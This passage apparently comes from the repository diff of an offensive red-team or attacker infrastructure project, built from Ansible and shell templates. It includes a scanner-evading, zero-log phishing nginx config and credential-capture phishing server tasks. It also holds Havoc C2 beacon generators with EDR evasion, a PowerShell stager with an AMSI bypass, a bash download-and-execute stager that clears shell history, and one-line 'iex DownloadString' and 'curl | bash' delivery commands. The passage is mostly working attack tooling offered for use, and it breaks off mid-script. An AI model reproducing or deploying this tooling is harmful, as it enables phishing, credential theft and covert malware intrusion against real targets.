server_name {{ phishing_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ phishing_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# Security headers to appear legitimate
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
# Block security scanners
if ($is_security_scanner) {
return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
}
# Geo-blocking
if ($allowed_country = 0) {
return 403;
}
# Rate limiting
limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
limit_req zone=phishing burst=20 nodelay;
# GoPhish tracking and landing pages
location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Phishing landing pages
location / {
proxy_pass http://{{ phishing_web_ip }}:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Block direct access to sensitive paths
location ~ /\.(git|env|htaccess|htpasswd) {
deny all;
return 404;
}
{% if zero_logs | default(true) %}
# Zero-logs configuration
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
return 302 https://www.{{ legitimate_redirect | default('google.com') }};
access_log off;
error_log /dev/null crit;
}
+177
View File
@@ -0,0 +1,177 @@
.
├── ansible.cfg
├── c2
│ ├── files
│ ├── tasks
│ └── templates
│ ├── generate_evasive_beacons.sh.j2
│ ├── generate_havoc_payloads.sh.j2
│ ├── havoc-config.yaotl.j2
│ └── havoc-guide.j2
├── chat-server
│ ├── files
│ ├── tasks
│ └── templates
├── deploy.py
├── hashtopolish-server
│ ├── files
│ ├── tasks
│ └── templates
├── logging-server
│ ├── files
│ ├── tasks
│ └── templates
├── logs
├── payload-server
│ ├── files
│ ├── payload_redirector.yml
│ ├── payload_server.yml
│ ├── tasks
│ └── templates
├── phishing
│ ├── cleanup_phishing.yml
│ ├── deploy_phishing_infrastructure.yml
│ ├── files
│ ├── gophish_server.yml
│ ├── mta_front.yml
│ ├── phishing_redirector.yml
│ ├── phishing_webserver.yml
│ ├── Plan.md
│ ├── tasks
│ └── templates
│ ├── email-templates
│ │ ├── file_share.j2
│ │ ├── office365_login.j2
│ │ ├── password_expiry.j2
│ │ └── security_alert.j2
│ ├── fake-login.html.j2
│ ├── fedramp-compliance.j2
│ ├── gophish-advanced-config.j2
│ ├── gophish-config.j2
│ ├── nginx-phishing-webserver.j2
│ ├── phishing_deployment_state.j2
│ ├── phishing-landing-page.j2
│ └── postfix-mta-front.j2
├── PROJECT-STATUS.md
├── providers
│ ├── AWS
│ │ ├── AMI-ID-Grabber.sh
│ │ ├── c2-vars-template.yaml
│ │ ├── c2.yml
│ │ ├── cleanup.yml
│ │ ├── files
│ │ ├── infrastructure.yml
│ │ ├── process_vpc.yml
│ │ ├── redirector.yml
│ │ ├── tasks
│ │ ├── templates
│ │ └── vars.yaml
│ ├── FlokiNET
│ │ ├── c2-deploy.yaml
│ │ ├── c2.yml
│ │ ├── cleanup.yml
│ │ ├── files
│ │ ├── flokinet-security.yml
│ │ ├── provision.yml
│ │ ├── redirector.yml
│ │ ├── tasks
│ │ └── templates
│ └── Linode
│ ├── c2.yml
│ ├── cleanup.yml
│ ├── files
│ ├── redirector.yml
│ ├── tasks
│ ├── templates
│ ├── tracker.yml
│ └── vars.yaml
├── README.md
├── redirectors
│ ├── files
│ ├── tasks
│ └── templates
│ ├── nginx-payload-redirector.j2
│ ├── nginx-phishing-redirector.j2
│ ├── redirector-havoc-fragment.j2
│ ├── redirector-index.html.j2
│ ├── redirector-site.conf.j2
│ └── redirector-site-with-tracker.conf.j2
├── requirements.txt
├── share-drive
│ ├── files
│ ├── tasks
│ └── templates
├── structure.txt
├── tracker
└── universal
├── files
│ ├── clean-logs.sh
│ ├── havoc_installer.sh
│ ├── havoc_mutate.sh
│ ├── havoc_shell_handler.sh
│ ├── implant_mutator.sh
│ ├── persistent-listener.sh
│ ├── post_install_c2.sh
│ ├── post_install_redirector.sh
│ ├── randomize_ports.sh
│ ├── rubber-ducky.txt
│ ├── secure-exit.sh
│ ├── secure_payload_sync.sh
│ ├── simple_email_tracker.py
│ ├── tracker-nginx.conf
│ ├── tracker.service
│ └── tracker-stats.sh
├── tasks
│ ├── cleanup_confirmation.yml
│ ├── configure_advanced_evasion.yml
│ ├── configure_c2.yml
│ ├── configure_fedramp_compliance.yml
│ ├── configure_gophish_advanced.yml
│ ├── configure_integrated_tracker.yml
│ ├── configure_mail.yml
│ ├── configure_mta_front.yml
│ ├── configure_payload_redirector.yml
│ ├── configure_payload_server.yml
│ ├── configure_phishing_redirector.yml
│ ├── configure_phishing_server.yml
│ ├── configure_phishing_webserver.yml
│ ├── configure_redirector.yml
│ ├── initial-infrastructure.yml
│ ├── install_tools.yml
│ ├── port_randomization.yml
│ ├── security_hardening.yml
│ ├── setup_phishing_security.yml
│ └── traffic_flow_config.yml
└── templates
├── capture.php.j2
├── default-site.j2
├── generate_evasive_beacons.sh.j2
├── generate_havoc_payloads.sh.j2
├── havoc-config.yaotl.j2
├── havoc-guide.j2
├── index.html.j2
├── infrastructure_state.j2
├── linux_loader.sh.j2
├── manifest.json.j2
├── motd-aws.j2
├── motd.j2
├── motd-linode.j2
├── motd-redirector.j2
├── nginx.conf.j2
├── POST_INSTALL_INSTRUCTIONS.txt.j2
├── proxychains.conf.j2
├── reference.txt.j2
├── resolv.conf.j2
├── secure-ssh.sh.j2
├── serve-havoc-payloads.sh.j2
├── setup-cert.sh.j2
├── shell-handler.service.j2
├── simple_email_tracker.py.j2
├── stream.conf.j2
├── torrc.j2
├── tracker-config.j2
├── tracker-nginx.conf.j2
├── tracker.service.j2
└── windows_loader.ps1.j2
53 directories, 122 files
@@ -0,0 +1,89 @@
---
# Configure payload redirector for hosting and delivering payloads
- name: Install required packages
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/payloads
- /var/www/payloads/windows
- /var/www/payloads/linux
- /var/www/payloads/macos
- /var/www/payloads/docs
- name: Configure NGINX for payload delivery
template:
src: "../templates/phishing/nginx-payload-redirector.j2"
dest: /etc/nginx/sites-available/payloads
mode: '0644'
- name: Enable payload site
file:
src: /etc/nginx/sites-available/payloads
dest: /etc/nginx/sites-enabled/payloads
state: link
- name: Create payload sync script
template:
src: "../templates/phishing/sync_payloads.sh.j2"
dest: /root/Tools/sync_payloads.sh
mode: '0700'
- name: Set up payload sync timer
block:
- name: Create systemd service
copy:
content: |
[Unit]
Description=Payload Sync Service
After=network.target
[Service]
Type=oneshot
ExecStart=/root/Tools/sync_payloads.sh
User=root
[Install]
WantedBy=multi-user.target
dest: /etc/systemd/system/payload-sync.service
- name: Create systemd timer
copy:
content: |
[Unit]
Description=Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=15min
Persistent=true
[Install]
WantedBy=timers.target
dest: /etc/systemd/system/payload-sync.timer
- name: Enable and start timer
systemd:
name: payload-sync.timer
state: started
enabled: yes
daemon_reload: yes
- name: Configure firewall rules
include_tasks: security_hardening.yml
vars:
server_role: "payload_redirector"
@@ -0,0 +1,78 @@
---
# Configure payload server for creating and hosting malicious payloads
- name: Install payload generation tools
apt:
name:
- mingw-w64
- golang
- python3-pip
- upx-ucl
- osslsigncode
- mono-complete
- wine64
- wine32
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
loop:
- /root/Tools/payloads
- /root/Tools/payloads/templates
- /root/Tools/payloads/output
- /root/Tools/payloads/scripts
- name: Install Python payload tools
pip:
name:
- pycryptodome
- pyinstaller
- py2exe
state: present
- name: Clone payload generation tools
git:
repo: "{{ item.repo }}"
dest: "{{ item.dest }}"
loop:
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
- name: Build Go tools
shell: |
cd {{ item }} && go build
args:
creates: "{{ item }}/{{ item | basename }}"
loop:
- /root/Tools/go-donut
- /root/Tools/ScareCrow
- name: Deploy payload generation scripts
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0700'
loop:
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
- name: Create payload hosting service
template:
src: "../templates/phishing/payload-server.service.j2"
dest: /etc/systemd/system/payload-server.service
mode: '0644'
- name: Start payload server
systemd:
name: payload-server
state: started
enabled: yes
daemon_reload: yes
@@ -0,0 +1,85 @@
---
# Configure phishing web server with landing pages and credential capture
- name: Install required packages
apt:
name:
- nginx
- php-fpm
- php-json
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create web directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/phishing
- /var/www/phishing/templates
- /var/www/phishing/static
- /var/www/phishing/captures
- /var/private/phishing_creds
- name: Deploy phishing templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
loop:
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
- name: Deploy credential capture script
template:
src: "../templates/phishing/capture.php.j2"
dest: "/var/www/phishing/capture.php"
mode: '0640'
owner: www-data
group: www-data
- name: Configure NGINX for phishing sites
template:
src: "../templates/phishing/nginx-phishing-webserver.j2"
dest: /etc/nginx/sites-available/phishing
mode: '0644'
- name: Enable phishing site
file:
src: /etc/nginx/sites-available/phishing
dest: /etc/nginx/sites-enabled/phishing
state: link
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
- name: Configure PHP-FPM for security
lineinfile:
path: /etc/php/7.4/fpm/php.ini
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
loop:
- { regexp: '^expose_php', line: 'expose_php = Off' }
- { regexp: '^display_errors', line: 'display_errors = Off' }
- { regexp: '^log_errors', line: 'log_errors = On' }
- name: Restart services
systemd:
name: "{{ item }}"
state: restarted
enabled: yes
loop:
- nginx
- php7.4-fpm
@@ -0,0 +1,456 @@
#!/bin/bash
# EDR-evasive beacon generator for Havoc C2
# Every deployment produces completely unique payloads
# Configuration (automatically populated by Ansible)
HAVOC_DIR="/root/Tools/Havoc"
BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
# Ensure required directories exist
mkdir -p $BEACONS_DIR/windows
mkdir -p $BEACONS_DIR/linux
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode
# Load Havoc configuration from profile
if [ -f "$PROFILE_FILE" ]; then
echo "[+] Loading Havoc configuration from profile..."
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
else
echo "[!] Warning: Profile file not found, using default values"
TEAMSERVER_PORT=40056
ADMIN_USER="admin"
ADMIN_PASS="admin"
HTTP_PORT=8080
HTTPS_PORT=443
fi
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Anti-detection function to modify binary files
modify_binary() {
local input_file=$1
echo "[+] Applying anti-detection modifications to: $input_file"
# Create a temporary file
local temp_file="${input_file}.tmp"
cp "$input_file" "$temp_file"
# Modify the file based on its type
if file "$input_file" | grep -q "PE32"; then
# Windows EXE/DLL modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
# Modify PE header timestamps with random value
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
# Try to strip debug information
if command -v strip &> /dev/null; then
strip --strip-debug "$temp_file" 2>/dev/null || true
fi
elif file "$input_file" | grep -q "ELF"; then
# Linux ELF modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
# Try to strip all symbols
if command -v strip &> /dev/null; then
strip --strip-all "$temp_file" 2>/dev/null || true
fi
fi
# Replace original with modified version
mv "$temp_file" "$input_file"
echo "[+] Binary modifications complete"
}
# Create advanced Havoc payload profile with evasion techniques
generate_profile() {
local type=$1
local profile_name="${type}_profile_$(random_string 8).json"
echo "[+] Creating evasive $type profile..."
# Generate random values for this profile
local sleep_time=$(( RANDOM % 10 + 2 ))
local jitter_percent=$(( RANDOM % 50 + 10 ))
if [ "$type" == "windows" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": $(( RANDOM % 3 )),
"ExecutionMethod": $(( RANDOM % 3 )),
"ExecuteOptions": $(( RANDOM % 2 ))
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true,
"SyscallMethod": $(( RANDOM % 3 )),
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
},
"Binary": {
"Subsystem": $(( RANDOM % 2 + 1 ))
}
}
}
EOF
elif [ "$type" == "linux" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"Injection": {
"SpawnMethod": $(( RANDOM % 2 )),
"AllocationMethod": $(( RANDOM % 2 ))
},
"Evasion": {
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
}
}
}
EOF
fi
echo "$profile_name"
}
# Generate Havoc payloads with EDR evasion techniques
generate_payloads() {
echo "[+] Generating EDR-evasive Havoc beacons..."
# Windows EXE
win_profile=$(generate_profile "windows")
win_output="update_win_$(random_string 8).exe"
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$win_profile" \
--format exe \
--output "$BEACONS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
modify_binary "$BEACONS_DIR/windows/$win_output"
fi
# Windows DLL
dll_profile=$(generate_profile "windows")
dll_output="module_$(random_string 8).dll"
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$dll_profile" \
--format dll \
--output "$BEACONS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
modify_binary "$BEACONS_DIR/windows/$dll_output"
fi
# Linux binary
linux_profile=$(generate_profile "linux")
linux_output="update_linux_$(random_string 8)"
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$linux_profile" \
--format elf \
--output "$BEACONS_DIR/linux/$linux_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
modify_binary "$BEACONS_DIR/linux/$linux_output"
fi
# Windows shellcode (staged payload)
shellcode_profile=$(generate_profile "windows")
shellcode_output="shellcode_$(random_string 8).bin"
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$shellcode_profile" \
--format shellcode \
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload information
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating evasive stagers..."
# Create PowerShell stager directory
mkdir -p $BEACONS_DIR/stagers
# PowerShell stager with AMSI bypass and obfuscation
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
# PowerShell stager for Havoc C2 with AMSI bypass
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# AMSI Bypass
function Bypass-AMSI {
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
}
# Try to bypass AMSI
try { Bypass-AMSI } catch {}
# Randomize variables for evasion
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
# Error handling with obfuscation
$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
# Split URL to avoid detection
$r1 = "https://"
$r2 = "REDIRECTOR_HOST"
$r3 = "/content/windows/WINDOWS_EXE"
$url = $r1 + $r2 + $r3
# Download with jitter
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
# Start process with extra obfuscation
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $outpath
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.CreateNoWindow = $true
$p.Start()
} catch {
# Fail silently
}
EOF
# Replace placeholder values in PowerShell stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
# Bash stager with obfuscation techniques
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
#!/bin/bash
# Linux download and execute Havoc beacon with EDR evasion
# Function obfuscation
function x() {
command -v "$1" > /dev/null 2>&1
}
# Random temp filename
r() {
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
}
# Randomize variables
TMPVAR=$(r)
TMPFILE="/tmp/.${TMPVAR}"
# Check which download tool is available
if x curl; then
# Split URL to avoid signature detection
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
curl -s -o "$TMPFILE" "$url"
elif x wget; then
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
wget -q -O "$TMPFILE" "$url"
else
exit 1
fi
# Make executable and run in background
chmod +x "$TMPFILE"
# Add random sleep before execution
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
("$TMPFILE" > /dev/null 2>&1 &)
# Clean up command history if possible
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null
echo "Update complete."
EOF
# Replace placeholder values in Bash stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
echo "[+] Stagers created successfully"
}
# Create manifest file
create_manifest() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating manifest file..."
cat > $BEACONS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"windows_shellcode": "$shellcode_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"havoc_teamserver_port": "$TEAMSERVER_PORT",
"havoc_http_port": "$HTTP_PORT",
"havoc_https_port": "$HTTPS_PORT",
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
}
# Create reference file
create_reference() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating reference file..."
cat > $BEACONS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
- Teamserver Port: $TEAMSERVER_PORT
- Admin User: $ADMIN_USER
- Admin Password: $ADMIN_PASS
Beacons Generated ($(date)):
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
Deployment Commands:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
Anti-Detection Features Enabled:
- Binary signature randomization
- PE/ELF header manipulation
- Sleep mask obfuscation
- AMSI bypass in stagers
- EDR unhooking
- Indirect syscalls
- Random sleep/jitter timing
EOF
}
# Main execution flow
echo "[+] Starting EDR-evasive Havoc beacon generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest file
create_manifest "$payload_info"
# Create reference file
create_reference "$payload_info"
echo "[+] EDR-evasive beacon generation complete!"
@@ -0,0 +1,260 @@
#!/bin/bash
# EDR-evasive payload generator for Havoc C2
# Configuration (automatically populated by Ansible)
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Define Havoc profiles for different payloads
generate_profiles() {
echo "[+] Generating Havoc C2 profiles..."
# Profile for Windows EXE
cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": 0,
"ExecutionMethod": 0,
"ExecuteOptions": 0
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
# Profile for Linux ELF
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"Injection": {
"SpawnMethod": 1,
"AllocationMethod": 1
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
echo "[+] Profiles created successfully"
}
# Generate Havoc payloads with CLI arguments
generate_payloads() {
echo "[+] Generating Havoc payloads..."
# Windows EXE
win_output="agent_win_$(random_string 8).exe"
echo "[+] Generating Windows payload: $win_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format exe \
--output "$PAYLOADS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Windows DLL
dll_output="module_$(random_string 8).dll"
echo "[+] Generating Windows DLL: $dll_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format dll \
--output "$PAYLOADS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Linux ELF
linux_output="agent_linux_$(random_string 8)"
echo "[+] Generating Linux payload: $linux_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/linux_elf.profile" \
--format elf \
--output "$PAYLOADS_DIR/linux/$linux_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload names for reference
echo "$win_output:$dll_output:$linux_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating stagers..."
# PowerShell stager
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
